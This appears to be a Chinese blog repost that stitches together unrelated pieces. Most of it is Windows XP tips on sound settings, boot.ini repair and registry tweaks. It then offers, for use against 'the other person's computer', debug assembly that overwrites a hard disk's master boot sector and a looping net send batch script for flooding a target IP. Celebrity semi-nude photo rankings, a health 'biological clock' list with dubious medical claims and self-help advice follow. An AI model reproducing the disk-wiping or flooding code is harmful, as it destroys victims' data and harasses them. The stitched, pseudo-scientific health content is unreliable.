　　系统声音的选择与设置就是为系统中的事件设置声音，当事件被激活时系统会根据用户的设置自动发出声音提示用户。 选择系统声音的操作步骤如下：

　　

　　(1)在“控制面板”窗口中双击“声音及音频设备”图标，打开“声音及音频设备”属性对话框，它提供了检查配置系统声音环境的手段。这个对话框包含了音量、声音、音频、语声和硬件共5个选项卡。

　　

　　(2)在“声音”选项卡中，“程序事件”列表框中显示了当前Windows XP中的所有声音事件。如果在声音事件的前面有一个“小喇叭”的标志，表示该声音事件有一个声音提示。要设置声音事件的声音提示，则在“程序事件”列表框中选择声音事件，然后从“声音”下拉列表中选择需要的声音文件作为声音提示。

　　

　　(3)用户如果对系统提供的声音文件不满意，可以单击“浏览”按钮，弹出浏览声音对话框。在该对话框中选定声音文件，并单击“确定”按钮，回到“声音”选项卡。

　　

　　(4)在Windows XP中，系统预置了多种声音方案供用户选择。用户可以从“声音方案”下拉表中选择一个方案，以便给声音事件选择声音。

　　

　　(5)如果用户要自己设置配音方案，可以在“程序事件”列表框中选择需要的声音文件并配置声音，单击“声音方案”选项组中的“另存为”按钮，打开“将方案存为”对话框。在“将此配音方案存为”文本框中输入声音文件的名称后，单击“确定”按钮即可。如果用户对自己设置的配音方案不满意，可以在“声音方案”选项组中，选定该方案，然后单击“删除”按钮，删除该方案。

　　

　　(6)选择“音量”选项卡，打开“音量”选项卡。你可以在“设备音量”选项组中，通过左右调整滑块改变系统输出的音量大小。如果希望在任务栏中显示音量控制图标，可以启用“将音量图标放入任务栏”复选框。

　　

　　(7)你想调节各项音频输入输出的音量，单击“设备音量”区域中的“高级”按钮，在弹出的“音量控制”对话框里调节即可。这里列出了从总体音量到CD唱机、PC扬声器等单项输入输出的音量控制功能。你也可以通过选择“静音”来关闭相应的单项音量。

　　

　　(8)单击“音量”选项卡中的“扬声器设置”区域中的“高级”按钮后，在弹出的“高级音频属性”对话框你可以为自己的多媒体系统设定最接近你的硬件配置的扬声器模式。

　　

　　(9)在“高级音频属性”对话框中选择“性能”选项卡，这里提供了对音频播放及其硬件加速和采样率转换质量的调节功能。要说明的是，并不是所有的选项都是越高越好，你需要根据自己的硬件情况进行设定，较好的质量通常意味着较高的资源占有率。

　　

　　设置完毕后，单击“确定”按钮保存设置。

　　

　　11、如何分配临时管理权限

　　

　　许多程序在安装过程中都要求你具备管理权限。这里介绍了一种以普通用户身份登录的情况下，临时为自己分配管理权限的简单方法。在右键单击程序安装文件的同时按住“Shift”键。在随后出现的快捷菜单中单击“运行方式”，输入具有相应管理权限的用户名和密码。这种方式对于开始菜单上的应用程序同样适用。

　　

　　12、如何关闭Windows XP的自动播放功能

　　一旦你将多媒体光盘插入驱动器，自动运行就会从驱动器中读取数据，这会造成程序的设置文件和在音频媒体上的音乐立即开始。你可以用下面这个办法关闭这个功能：打开“开始→运行”，在对话框中输入“gpedit.msc”命令，在出现“组策略”窗口中依次选择“在计算机配置→管理模板→系统”，双击“关闭自动播放”，在“设置”选项卡中选“已启用”选项，最后单击“确定”按钮即可(图1-32)。

　　

　　13、如何恢复被破坏的系统引导文件

　　现象：我只安装了Windows XP系统，但在开机时显示“BOOT.INI非法，正从C：\WINDOWS\启动”，然后就进入了启动状态，并且也能照样工作，请问这是怎么一回事，能否在不重装系统的情况下使系统恢复到正常启动状态?

　　

　　出现这种情况是因为C盘下面的“Boot.ini”文件被破坏了。但是由于你的机器中只有一个操作系统，当然它就是默认的操作系统，即使“Boot.ini”文件被破坏了，也将自动地引导该系统进行装载。

　　

　　解决的办法是建立一个“Boot.ini”文件即可。其内容为：

　　

　　[Boot Loader]

　　

　　Default=C：

　　[Operating Systems]

　　

　　C：\=“Microsoft Windows xp”

　　

　　14、如何恢复输入法图标

　　现象：本人使用Windows XP中文版，不慎使任务栏隐藏了输入法图标，请问该如何恢复输入法图标。

　　

　　打开“控制面板”，双击“区域和语言选项”图标，进入“区域和语言选项”对话框，选择“语言”选项卡，单击“详细信息”按钮，在弹出的对话框中单击“语言栏”按钮，在接着出现的“语言栏设置”对话框中勾选“在桌面上显示语言栏”选项。这时候桌面会出现语言栏，单击右上角的最小化按钮，输入法图标就回到任务栏中去了。

　　

　　15、如何恢复误删除的boot.ini文件

　　现象：我第一次装Windows XP时，重启后没有任何问题。但是由于误操作，删掉了C盘目录下的一个文件(文件名是：boot.ini)，然后再重启时每次都显示两行字：“boot.ini是非法的。现在正从C:/Windows/下启动”。然后可以顺利进入Windows XP。但是速度明显慢了，比没删这个文件时慢了很多，而且，每次都要看见那两行字。请问如何修复？

　　

　　boot.ini是系统启动时，需要查询的一个系统文件，它告诉启动程序本计算机有几个操作系统、各系统的位置在哪里等信息。重新恢复的方法如下：单击“开始”菜单，依次指向“程序→附件→记事本”，打开“记事本”，在记事本里输入：

　　

　　[boot loader]

　　

　　timeout=30

　　

　　default=multi(0)disk(0)rdisk(0)partition(1) \Windows

　　

　　[operating systems]

　　

　　multi(0)disk(0)rdisk(0)partition(1)\Windows=“Microsoft Windows XP Professional” /fastdetect

　　

　　然后将它保存为名字是boot.ini的文件，并将此文件保存到C盘的根目录下即可。

　　

　　16、如何加快Windows XP窗口显示速度

　　我们可以通过修改注册表来改变窗口从任务栏弹出，以及最小化回归任务栏的动作，步骤如下：打开注册表编辑器，找到HKEY_ CURRENT_USER\Control Panel\Desktop\ WindowMetrics子键分支，在右边的窗口中找到MinAnimate键值，其类型为REG_SZ，默认情况下此健值的值为1，表示打开窗口显示的动画，把它改为0，则禁止动画的显示，接下来从开始菜单中选择“注销”命令，激活刚才所作的修改即可。

　　

　　17、如何解决Windows XP关机出现英文提示

　　现象：我的Windows XP关机时会出现一个进度条，并提示“To return to windows and check the status of the program click cancel if you choose to end the program immediately you will lose any unsaved data. To end the program now click end.”然后就正常关机，但有时却不出现，我想会不会与我的东方影都3的记忆播放有关，但关闭记忆播放功能也无效，请问如何办？

　　

　　这是因为你关闭Windows XP时还有程序在运行，请在关机之前保存并关闭一切应用程序。如果直接单击“End”按钮，那么未保存的任务会丢失，这时可以按“Ctrl+Alt+Del”打开任务管理器，然后关闭应用程序。如果在任务管理器列表中为空，那么就在“系统进程”中将它关闭。如果不进行任何操作，那么系统将在进度条到头时自动关闭未关闭的程序并关闭系统。请你在关机之前关闭一切应用程序、系统驻留程序就不会出现这个提示了。当你确定没有任何需要保存的任务时，可以不必理会此对话框。

　　

　　18、如何控制桌面的图标显示

　　通常很多用户还是习惯于在桌面上保留“我的文档”及其他经常访问文件夹快捷方式以及经常使用的程序快捷方式。如果你想在桌面上显示“我的电脑”、“我的文档”、“网上邻居”、IE浏览器的快捷方式图标，只需进行如下操作 ：在桌面单击鼠标右键，在右键菜单中选择“属性”命令，在打开的“显示 属性”对话框中选择“桌面”选项卡，单击“自定义桌面”按钮，打开“桌面”项目对话框。在“常规”选项卡的“桌面图标”栏中选择所需项目的复选框，然后单击“确定”返回上一级对话框，再单击“应用”按钮即可。

　　19、如何删除Windows XP的“更新”选项

　　对于大多数的用户来说，Windows XP的Windows Update功能似乎作用不大，我们可以去掉它，操作步骤如下：打开注册表编辑器，找到HKEY_CURRENT_USER\Software\ Microsoft\Windows\CurrentVersion\Policies\Explorer子键分支，选择“编辑”菜单下的“新建”命令，新建一个类型为REG_DWord的值，名称为NoCommonGroups，双击新建的NoCommon Groups子键，在“编辑字符串”文本框中输入键值“1”，然后单击“确定”按钮并重新启动系统即可。

20、如何设置音频属性

　　打开“控制面板”，双击“声音及音频设备”图标，在“声音及音频设备 属性”对话框中，选择“音频”选项卡，在该选项卡中，你可以看到与“声音播放”、“录音”和“MIDI音乐播放”有关的默认设备。当你的计算机上安装有多个音频设备时，就可以在这里选择应用的默认设备，并且还可以调节其音量及进行高级设置。

　　

　　进行音频设置的操作步骤如下：

　　

　　(1)在“声音播放”选项组中，从“默认设备”下拉列表中选择声音播放的首选设备，一般使用系统默认设备。

　　

　　(2)用户如果希望调整声音播放的音量，可以单击“音量控制”窗口，在该窗口中，将音量控制滑块上下拖动即可调整音量大小。

　　

　　(3)在该窗口中，用户可以为不同的设备设置音量。例如，当用户在播放CD时，调节“CD音频”选项组中的音量控制滑块，可以改变播放CD的音量；当用户播放MP3和WAV等文件时，用户还可以在“音量控制”窗口进行左右声道的平衡、静音等设置。

　　

　　(4)用户如果想选择扬声器或设置系统的播放性能，可以单击“声音播放”选项组中的“高级”按钮，打开 “高级音频属性”对话框，在“扬声器”和“性能”选项卡可以分别为自己的多媒体系统设定最接近你的硬件配置的扬声器模式及调节音频播放的硬件加速功能和采样率转换质量。

　　

　　(5)在“录音”选项组中，可以从“默认设备”下拉列表中选择录音默认设备。单击“音量”按钮，打开 “录音控制”对话窗口。用户可以在该窗口中改变录音左右声道的平衡状态以及录音的音量大小。

　　

　　(6)在“MIDI音乐播放”选项组中，从“默认设备”下拉列表中选择 MIDI音乐播放默认设备。单击“音量”按钮，打开“音量控制”窗口调整音量大小。

　　

　　(7)如果用户使用默认设备工作，可启用“仅使用默认设备”复选框。设置完毕后，单击“应用”按钮保存设置。

　　

　　21、如何设置语声效果

　　用户在进行语声的输入和输出之前，应对语声属性进行设置。在“声音和音频设备 属性”对话框中，选择“语声”选项卡，在该选项卡中，用户不但可以为“声音播放”和“录音”选择默认设备，而且还可调节音量大小及进行语声测试。

　　

　　(1)在“声音播放”选项组中，从“默认设备”下拉列表中选择声音播放的设备，单击“音量”按钮，打开“音量控制”窗口调整声音播放的音量。要设置声音播放的高级音频属性，单击“高级”按钮完成设置。

　　

　　(2)在“录音”选项组中，从“默认设备”下拉列表中选择语声捕获的默认设备，单击“音量”按钮，打开“录音控制”窗口调整语声捕获的音量。要设置语声捕获的高级属性，单击“高级”按钮完成设置。

　　

　　(3)单击“测试硬件”按钮，打开 “声音硬件测试向导”对话框，该向导测试选定的声音硬件是否可以同时播放声音和注册语声。注释：要确保测试的准确性，在测试之前必须关闭使用麦克风的所有程序，如语声听写或语声通信程序。

　　

　　(4)单击“下一步”按钮，向导开始测试声音硬件，并通过对话框显示检测进度。

　　

　　(5)检测完毕后，打开“正在完成声音硬件测试向导”对话框，通告用户检测结果，单击“完成”按钮关闭对话框。

　　

　　(6)设置完毕后，单击“确定”按钮保存设置。

　　

　　22、如何手动使计算机进入休眠状态

　　现象：请问如何用手动方式使Windows XP的计算机进入休眠状态？

　　

　　休眠功能是Windows XP提供的一项非常酷的特性，它“隐藏”在Shut Down(关机)对话框中。如果你的计算机支持休眠功能，那么借助以下技巧，可通过手动方式使其进入休眠状态。 如需以手动方式使你的计算机进入休眠状态，请执行以下操作步骤： 选择“开始→关闭计算机”，在关闭Windows对话框中，选择“休眠”。当你的计算机进入休眠状态后，内存中的内容将保存到硬盘上。当你将计算机唤醒时，进入休眠状态前打开的所有程序与文档都将恢复到桌面上。如需在你的计算机上激活休眠支持特性，请执行以下操作步骤：你必须以管理员、Administrators或Power Users组成员的身份登录。如果你的计算机与某个网络建立了连接，那么网络策略设置可能会导致这一操作过程无法实现。单击“开始→控制面板→性能和维护→电源选项”，选择“休眠”选项卡，选中“启用休眠”，单击“确定”关闭电源选项对话框。如果休眠选项卡不可用，则说明你的硬件设备无法支持该特性。

　　

　　23、如何提高Windows XP的启动速度

　　使用微软提供的“Bootvis”软件可以有效地提高Windows XP的启动速度。这个工具是微软内部提供的，专门用于提升Windows XP启动速度。下载解压缩到一个文件夹下，并在“Options”选项中设置使用当前路径。之后从“Trace”选项下拉菜单中选择跟踪方式。该程序会引导Windows XP重新启动，并记录启动进程，生成相关的BIN文件。之后从Bootvis中调用这个文件，从Trace项下拉菜单中选择“Op-timizesystem”命令即可。

　　

　　Windows XP虽然提供了一个非常好的界面外观，但这样的设置也在极大程度上影响了系统的运行速度。如果你的电脑运行起来速度不是很快，建议将所有的附加桌面设置取消，也就是将Windows XP的桌面恢复到Windows 2000样式。

　　

　　设置的方法非常简单：在“我的电脑”上单击鼠标右键，选择“属性”，在“高级”选项卡中单击“性能”项中的“设置”按钮，在关联界面中选择“调整为最佳性能”复选框即可。

　　

　　此外，一个对Windows XP影响重大的硬件就是内存。使用256MB内存运行Windows XP会比较流畅，512MB的内存可以让系统运行得很好。如果条件允许，最好增大内存。

　　

　　24、如何为Windows XP减肥

　　Windows XP比以往的任何Windows系统都要庞大，其硬盘空间需求1.5GB。虽然相对于能跑Windows XP的主流电脑来说，一般都拥有10GB以上的硬盘，但一些电脑发烧友有时还是乐于减少Windows XP的体积。

　　

　　(1)删除驱动备份 ：Windows\Driver cache\i386目录下的Driver.cab文件(73MB) 。

　　

　　(2)删除Help文档(减掉40多MB) 。

　　

　　(3)删除Windows\Ime下不用的输入法(日文、韩文、约80MB) 。

　　

　　(4)把我的文件、IE的临时文件夹转到其他硬盘(分区) 。

　　

　　(5)把虚拟内存转到其他硬盘(分区)。

　　

　　25、如何卸载Windows XP

　　现象：我原来使用的操作系统是Windows 98，最近听说Windows XP非常好，就安装了该系统。第一次安装是从Windows 98中安装，装完后觉得不太好，就格式化Windows XP的分区后重新从DOS安装到D盘，安装完后发现多重启动菜单有三项(第一次装的Windows XP那一项还在)，请问如何删除多余的一项？另外，如果我要删除Windows XP，除了格式化D盘外，怎样才能将它彻底删除？

　　

　　Windows 98和Windows XP双系统的启动菜单是由C盘根目录下的一个文件来控制的，通过修改该文件可以更改启动菜单。要想删除多余的Windows XP项目，你可以打开C盘根目录下的boot.ini文件，其中有两行重复的“multi(0)…”，删除其中一行即可。要想彻底删除Windows XP，除了格式化它所在分区之外，你还必须按下面的方法删除多重启动菜单和多余的系统文件：

　　

　　(1)制作一张Windows 98启动盘，并将Windows 98下的sys.com文件拷入该系统盘。

　　

　　(2)用该启动盘启动，在A：>下执行sys C:命令。

　　

　　(3)删除C盘根目录下多余的文件，这些文件包括：boot.ini、bootfont.bin、bootsect.dos、ntdetect.com、pagefile.sys等。

　　

　　

　　26、如何隐藏桌面图标

　　在Windows XP中增加了隐藏桌面图标的功能，你只需用鼠标单击桌面空白处，在弹出的右键菜单中选定“排列图标”命令，然后在其下一级级联菜单中取消对“显示桌面图标”命令的选定，系统就会自动将所有桌面图标隐藏。

　　

　　如果桌面上图标数量较多，可以用以下方法重新排列图标 ：在桌面空白区域单击鼠标右键，在弹出菜单中选择“排列图标”，然后在下一级菜单中单击图标排列规则即可。

　　

　　利用Windows XP的“桌面清理”功能，可将你桌面上不使用的图标清理掉。方法是：在上面的“桌面”项目对话框的“常规”选项卡中，如果你选中“每60天运行桌面清理向导”复选框，系统就会每60天自动运行一次桌面清理向导，帮你清理掉桌面上不使用的图标。如果你单击“现在清理桌面”按钮，则系统会立即打开桌面清理向导，将你不使用的快捷方式图标移到一个名为“未使用的桌面快捷方式”的桌面文件夹中。该向导不移动、更改和删除任何程序，如果你想将某个图标重新移回桌面，可以从“未使用的桌面快捷方式”的桌面文件夹中将其还原。

　　

　　27、如何在Windows XP中进行繁体字输入

　　使用微软拼音3.0可以进行繁体字输入，你可在系统中选择微软拼音输入法，单击“选项”并在其中选中简、繁转换项，这时输入法状态条中就会有简、繁转换按钮，需要使用它切换即可进行繁体字输入了。

　　 当然还有其它更多的方法，就不再一一详述了。

　　

　　28、如何找回两台电脑相连图标

　　现象：我的电脑装的是Windows XP，在上网时系统托盘内的两台电脑相连的小图标不见了，使我经常不知道是否在线。请问应如何将它恢复？

　　

　　小图标不见了的原因在于网络连接的属性设置不对。在Windows 98中拨号连接上互联网后，该连接的小图标将自动显示在任务栏上。如果小图标不见了，可右击“我的连接”，选择“属性→设置→选项”，选中“显示调制解调器状态”即可恢复。在Windows 2000和Windows XP中，用户可以控制和设置连接图标的显示和隐藏功能。具体的方法是打开拨号连接或者网络连接的“属性”对话框，然后选中或者清除“连接后在通知区域显示图标”复选框，就可以实现该图标的显示或隐藏了。

　　

　　29、如何制作自动系统恢复软盘

　　现象：我在Windows XP下未找到制作紧急修复磁盘的界面，请问如何制作？另外我的Windows 98每次启动时都提示输入用户名与密码，请问如何消除？

　　

　　Windows XP的紧急修复磁盘准确的名称应该是“自动系统恢复(ASR) 软盘”，它可以备份那些启动系统所需的系统文件。制作方法是：单击“开始→所有程序→附件→系统工具”，然后单击“备份”，单击备份工具向导中的“高级模式”按钮。在“工具”菜单上，单击“ASR 向导”；然后按照屏幕上的提示进行操作即可(注意 ：事先应准备好保存系统设置的1.44MB的空软盘)。使用方法也很简单：将Windows XP系统的安装光盘插入CD驱动器中，重新启动计算机。在出现安装界面时，按F2，系统将提示你插入以前创建的ASR软盘(ASR不会还原数据文件)。请按照屏幕上的向导进行操作即可自动恢复系统。另外，即使没有 “自动系统恢复(ASR) 软盘”，也可以使用“修复”功能恢复Windows XP系统引导菜单，只是某些个人的特殊设置会被恢复成默认设置，使用“自动系统恢复(ASR) 软盘”则不会。

　　

　　Windows 98每次启动时都提示输入用户名与密码，可以按“Esc”键进入Windows 98桌面，这时可以将Windows目录下的密码文件*．pwl删除。例如用户名为“qq”，相应的密码文件就是“qq．pwl”，找到它并删除它，然后重新启动电脑，在出现登录窗口时输入原来的用户名“qq”，密码不填，这样就可以消除了。

　　

　　30、如何自动关闭停止响应的程序

　　在Windows XP操作系统中，这个设置可以使Windows XP当诊测到某个应用程序已经停止响应时可以自动关闭它，而不需要进行麻烦的手工干预。想要实现这个功能，就请单击“开始→运行”输入“Regedit”打开注册表编辑器，找到HKEY_CURRENT_USER\Control Panel\Desktop分支，将Auto End Tasks的键值设置为1即可。

　　

　　

　　31、为何不能安装Windows XP

　　现象：我用Windows 98启动盘启动计算机并安装Windows XP，整整花了6个小时才完成，听朋友说他在一台配置和我一样的机器上只花了1个小时的时间就完成了Windows XP的安装(也是用Windows 98启动盘启动)，请问Windows XP正确的安装方法是怎样的？

　　

　　 这是因为你没有加载磁盘高速缓存的缘故。此文件在Windows 98的安装目录下，名为smartdrv.exe，将其拷入软盘，安装之前运行一下就可以了。另外你可以将启动顺序设为从光盘启动，这样Windows XP的安装盘会自动加载磁盘高速缓存。

　　

　　

　　32、为何不能在Windows XP下安装软件

　　现象：我在一台安装有Windows XP 家庭版的微机上安装软件时出现“You do not have access to make the requried system configuration modifications. Please return this installation from an administrators account.”。请问这是为什么？这种软件在Windows 98下可正常安装。请问如何解决？

　　

　　Windows XP为了保护系统的安全和稳定，使用了用户账户和密码保护的方式来控制用户的操作。即只有指定的人才能干指定的事情。安装软件等修改系统的操作需要用户拥有该计算机管理员的权力才能执行，这就是你为什么不能安装软件的原因，相信还有很多操作你都执行不了。

　　

　　系统在安装时，默认“administrator”帐号是管理员的身份，你可以采用下面的方法使自己成为管理员：

　　

　　(1)首先要以管理员的身份进入计算机。单击“开始”菜单上的“注销”，确认进入等待登录的画面，同时按下键盘上的“Ctrl+Alt+Del”键。

　　

　　(2)在弹出的对话框中，在用户名框中输入“administrator”，密码框中输入安装时设置的密码。如果你在安装时没有设置密码，密码当然为空，然后回车进入计算机。

　　

　　(3)打开“控制面板中”的“用户账户”，就会看到自己的用户账户，在旁边写着“受限的账户”。

　　

　　(4)单击打开自己的账户，然后单击“更改账户类型”。在弹出的窗口中，单击选中“计算机管理员”的单选按钮，然后单击“更改账户类型”按钮，确认并退出。你现在就可以干自己想做的事情了。

　　

　　为了保证计算机的安全，建议用户设置用户密码，以避免发生安全问题而遭到不必要的损失。

　　

　　

　　33、为何更改硬件配置就出现死机现象

　　现象：在Windows XP中只要一更改硬件配置，系统就启动不了，如何解决？

　　

　　这是因为Windows XP中使用了激活产品程序，激活产品程序是微软在Windows XP中最新加入的防盗版功能。由于激活产品程序会根据你的电脑硬件配置生成一个硬件号，因此如果你改变了改硬件配置，激活产品程序就会发现硬件配置与之不符，这时系统就会停止运行并要求你重新激活产品才可以重新运行。

　　

　　

　　34、为什么Windows XP磁盘可用空间不断减少

　　

　　现象：我使用Windows XP时发现，随着不断地增加、删除应用程序，磁盘可用空间不断减少，这是为什么？

　　

　　从Windows 2000开始，Windows会在每个硬盘分区中建立一个“System Volume Infor-mation”文件夹，在该文件夹中提供的是系统默认保存的系统还原备份文件。不过Windows 2000还没有正式提供系统还原功能，在Windows XP中，你可以看到相关的选项。

　　

　　为防止这个问题发生，最简单的方法就是关闭“系统还原”功能。如果要删除这个文件夹中保存的文件，你需要以Administrator(管理员)身份登录系统。

　　

　　

　　35、为什么Windows XP所占空间很大

　　

　　现象：安装了Windows XP后，使用一段时间发现经常登陆的一个用户的文件夹所占的空间特别大，大约1.2GB；可是其他不常登陆的只有10MB左右，这是怎么回事？

　　

　　Windows XP为每个用户都设置了各自的文件夹，把登录用户在使用过程中的操作都记录下来，同时也产生各自的临时文件，上网缓存文件，安装软件时产生的共用文件(软件中共用),所以常登录的用户文件夹必然很大。把临时文件与上网的缓存文件删除可以省出很多空间。

　　

　　36、如何消除Windows XP的文档保护功能

　　

　　怎样消除Windows XP的文档保护功能？

　　

　　为了完全消除Windows文档保护功能，打开注册表编辑器，设置键值：HKEY_LOCAL_ MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon，将SFCDisable的键值设置为 0xFFFFFF9D即可

破坏硬盘主引导扇区

如果你有机会接触对方的电脑，无论是否是物理接触都可以，只要能在对方的电脑上运行下面这些代码，就可以破坏对方硬盘主引导扇区，象病毒一样厉害。方法是运行debug，然后输入：

a 100

mov ax,301

mov bx,1000

mov cx,1

mov dx,80

int 13

g=100 10e

利用批处理轰炸对方电脑

这是从一些高手那里学来的招数，呵呵，真是好方法。具体步骤是：打开记事本，在里面输入如下内容：

@echo 正在轰炸中……

:start

@net send %1 %2

@if errorlevel 1 goto over

goto start

ver

@echo 发送失败

将其保存为任意名字的.bat文件即可。使用用法是：任意名字的.bat+空格+目标IP地址+空格+你要对他说的话。

引用

★美子★ 的 ●十大女星半裸性感写真大比拼【组图】

     女明星们越来越喜欢拍性感写真，比如半裸的，大多都让人分不清是艺术还是色情，不过，这正是女明星所特有的诱人绝招，想没有人气都不成呀。
    一、周迅
    裸露指数：★★★★★
    性感指数：★★★★★
    在即将上映的电影《李米的猜想》中，周迅扮演的李米一角完成了一个难以名状的等待过程，完全成为一个被真相与事实善意欺骗的女人。而就在在《李米的猜想》公映之前，周迅半裸拍出来来的写真，真是令人浮想联翩。 
 


    二、范冰冰
    裸露指数：★★★★★
    性感指数：★★★★★
    无论范冰冰如何去演驿她的性感，都无法让人拒绝她的美丽，更别说是这种令人兴奋异常的情趣写真，抚摸三下认为，大伙不想尖叫都不成。 
 


    三、伊能静
    裸露指数：★★★★★
    性感指数：★★★★★
    她已不再是位少女，她已是一位大男孩的妈妈，但对于伊能静来讲，这些都并不能影响到自己的魅力四射，于是，我们看到了她狂野性感的一面，看到了浓情少妇的另类。 
 


    四、刘嘉玲
    裸露指数：★★★★
    性感指数：★★★★★
    刘嘉玲人美身材好，虽然年龄不是优势，但身材还是性感十足。现如今，刘美人要和梁大公子走上婚姻的殿堂，但回忆之前的裸露写真，那迷人的姿势，不服都不成。 
 


    五、林志玲
    裸露指数：★★★★
    性感指数：★★★★
    美腿皇后林志玲除了腿部的修长迷人外，更重要的是整个人在拍裸露写真的时候都散发出独特的女人香，令无所粉丝和男人回味无穷，都有想要和她在一起喝茶的冲动。 
 


    六、李冰冰
    裸露指数：★★★
    性感指数：★★★★
    李冰冰人红是非多，之前的一次拍摄写真集，居然花了三百万，有人说太过奢侈。抚摸三下觉得，平时总以江湖侠女出镜的她，穿起性感的装束，十足的女人味。 
 


    七、翁虹
    裸露指数：★★★★
    性感指数：★★★★
    翁虹的确够性感，就连做了妈妈也不甘心浪费掉自己迷人的身材，即便是在临产前，还大胆十足的秀了一下自己裸露的身材，令人感到幸福无比。 
 


    八、章子怡
    裸露指数：★★★
    性感指数：★★★★
    章小姐虽然一直走的国际路线，并且很快的就要和老外结婚，但这并抹不去章小姐特有的东方女人的含蓄美，拍个半裸写真都要遮遮掩掩的，生怕多露一点肉。 
 


    九、赵薇
    裸露指数：★★★
    性感指数：★★★
    赵薇像一性感的小猫，拍出来的半裸写真十足的华美，抚摸三下认为，烈焰红唇露复古风情更是多了诠释剧中人悲喜人生的最好写照。 
 


    十、李湘
    裸露指数：★★★
    性感指数：★★★
    经历了曲折的感情，李湘变得越来越淡定，而现如今的成功转型，更是让李湘多了几份气质美。而写真露性感香肩，半裸玉背风光无限，十全十美。
 

 

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24小时读懂健康生物钟（上）

来源：网络 　　7：30 补充多种维生素 　　我们起床后，新陈代谢和消化功能变得越来越活跃，这时吃多种维生素片，它的营养可以被更好地吸收。另外，维生素片中难吸收的脂溶性维生素，例如维生素A、D、E，如果在下午吃，则会导致难以消化。 　　8：00 减肥锻炼，燃烧脂肪 　　如果想通过锻炼达到减肥效果，那么早上8点这个时段锻炼是最好的选择。因为在吃饭前有一定运动量的锻炼，身体需要消耗很多能量，那时，燃烧的是脂肪，而不是糖分，因此可以达到快速减肥的效果，但运动时，记得要多喝些水。 　　9：00 晒15－30分钟太阳 　　人体依靠阳光来组织体内的荷尔蒙反映。如果我们一天到晚蜗居在高楼大厦的格子间里，很少从事户外活动，那么每天晒会儿太阳非常重要。同时，在这个时段，你站在磅秤上时，可以读到一天中最轻的体重，看到数字的减少，肯定能大大增加你的自信。 　　10：00 记得去洗手 　　为了抗菌，你的身体会产生一种叫做免疫球蛋白A的抗体，它多存在于人体的唾液中。但在上午，人体分泌的免疫球蛋白A的唾液较少。因此，大多数人在这段时间内很容易感冒，为了保护你自己，不被细菌和感冒病毒感染，记得在这个时段去洗洗手。 　　11：00 开会，提要求 　　如果在早上11点前提要求，比如加薪，你的老板多半不会同意。因为此时，他的体温最低，情绪也最低落。科学家发现：体温和心情、友善程度有关。但早上11点后，人的体温开始上升，就容易接受别人的请求。

24小时读懂健康生物钟（中）

来源：网络 　　13：00 修剪你的眉毛 　　下午1：00－3：00，人体的痛觉最迟钝，此时去看牙医、修拔眉毛是最佳时段。因为身体会释放大量的皮甾醇来对抗炎症，同时也降低了人体对疼痛的敏锐感觉。 　　14：30 面试的最佳时间 　　此时，人脑的反应能力和活动能力最强，而这些是给人留下好印象最重要的两个能力。所以，这个时候，如果你去面试，可能即性发挥的水平会大大提高。据统计，下午这个时候面试被录取的机会比其他时间更大。 　　16：00 受孕的最佳时间 　　你已经考虑成熟了，很想做妈妈，可总是不中奖，迟迟没有怀孕。那么考虑一下这个时间点吧。下午4点，和老公在家约会，激情一番。此时的精子游的最快，虽然科学家也不知道为什么，但他们知道精子游的越快，女性越容易受孕。如果你已经怀孕了，那么做好在晚上分娩的准备吧。研究表明，自然分娩的大部分时间是在下午的5点到6点，超过60％以上是在下午6点左右分娩。为什么呢？也许可以追溯到从前，我们的祖先如果在晚上分娩，就可以躲避食肉动物的侵害。 　　15：00－17：00 最佳的锻炼时间 　　此时的肌肉最强壮，关节最有弹性，呼吸更自然，一场跑步或者打球下来，你会感觉很轻松，锻炼的效果也特别好。 　　17：00 开车最安全 　　如果要开长途车，最好在这个时段出发，因为此时，你的手和眼睛协调的最好。科学家通过监控计算机驾驶游戏发现，此时，如果玩游戏，你不仅玩的尽兴，而且也能达到最快的反应速度。

24小时读懂健康生物钟（下）

来源：网络 　　18：00 处理不情愿做的杂事 　　这个时段是人体分泌肾上腺素的高峰，有哪些棘手的事情，此时处理，能帮助我们加速应付困难的能力。 　　19：00 喝酒不容易醉 　　在魔幻时间晚上7：00－8：00之间喝酒，喝醉的可能性比较小，如果这个时候约客户吃饭，可喝些酒助兴。 　　19：30 从关节炎的疼痛中解脱出来 　　超过4000万的美国人患有关节疼痛，大多数人都依靠伤痛膏来缓解疼痛。研究表明，这个时段，人体的体温最高，这类药物能发挥出200％的疗效。 　　20：00 最适合做护肤美容 　　经过漫长的白天，你的脸感觉如何？很油腻？那就对了。研究表明，我们的脂肪腺在上半夜会分泌出大部分的油脂。皮肤专家说，这是最有效的清洁脸部的时间，使用你最钟爱的清洁用品，好好洗个脸，然后再保养皮肤，往往能起到事半功倍的效果。 　　21：00 预防过敏 　　你会患花粉热吗？教你一个简单的办法。由于身体会产生荷尔蒙，类似皮甾醇和肾上腺素，在白天，它们可以保护身体不被感染，但在夜里，这种保护力就下降了。因此在夜里，如果服用抗过**，其效果会比在白条服用好得多，而且在第二天还能起作用。 　　22：00－23：00 安静休息，听听音乐 　　这段时间是免疫系统、淋巴排毒的时间，安静一会儿或听听音乐，可以让你放松心情，减缓压力。 　　23：00－早上6：00 最佳的睡眠时间 　　这个时段是肝排毒的最佳时间，凌晨1：00－3：00是胆排毒的时间，同时大部分器官都处于休息状态，这是充足、高效的睡眠对人体的排毒养颜最为有利。

引用

颖儿 的 二十几岁决定女人的一生
准备做一个好命的女人

1.当一个女人做出与自己的人生规划最接近的选择时,她会比别人有更少的后悔,这样就可以过上好日子.

2.二十几岁要学会世俗,才不会在三十几岁劳碌.

3.在二十几岁的时候,不仅可以享受和十几岁的孩子同等的保护,还可以获得和三十几岁的成年人一样的尊重.所以二

十几岁到三十几岁这个年龄层,是一个难得的幸福期.过了这段,容许犯错的机会就越来越少了.这就是二十岁就要学会世俗的原因.

4.命运是从小被灌输的.继承来的命运,也可以完全改变.

5.我们在问自己"我想要什么"之前,先要问问"这个选择能不能让我幸福"

6.应该多向那些比你富裕,比你有能力,生活的幸福的人寻求指点.

7.承认你内心的庸俗,想成为世界的主人,就先成为庸人吧.世界上可以让人常胜的游戏只有双赢游戏.只想自己赢而不考虑别人的人早晚会失败.

8"我要做有心计的狐狸",注意,不要到处向别人宣扬自己是个有心计的人.

9.把自己当作贵族.聪明的女人不会让自己狼狈.为了改善自己的命运,首要的任务就是把自己当作贵族.

10.如果你渴望某一种生活,不要认为只有好命的女人才能得到,而要相信自己也一定能够得到.

11.对待自己,也要十分讲究品味和礼仪,那么你将会惊奇的发现,原来有品味的生活是要靠自己来创造的.

12.让自己拥有公主的手和侍女的脚.

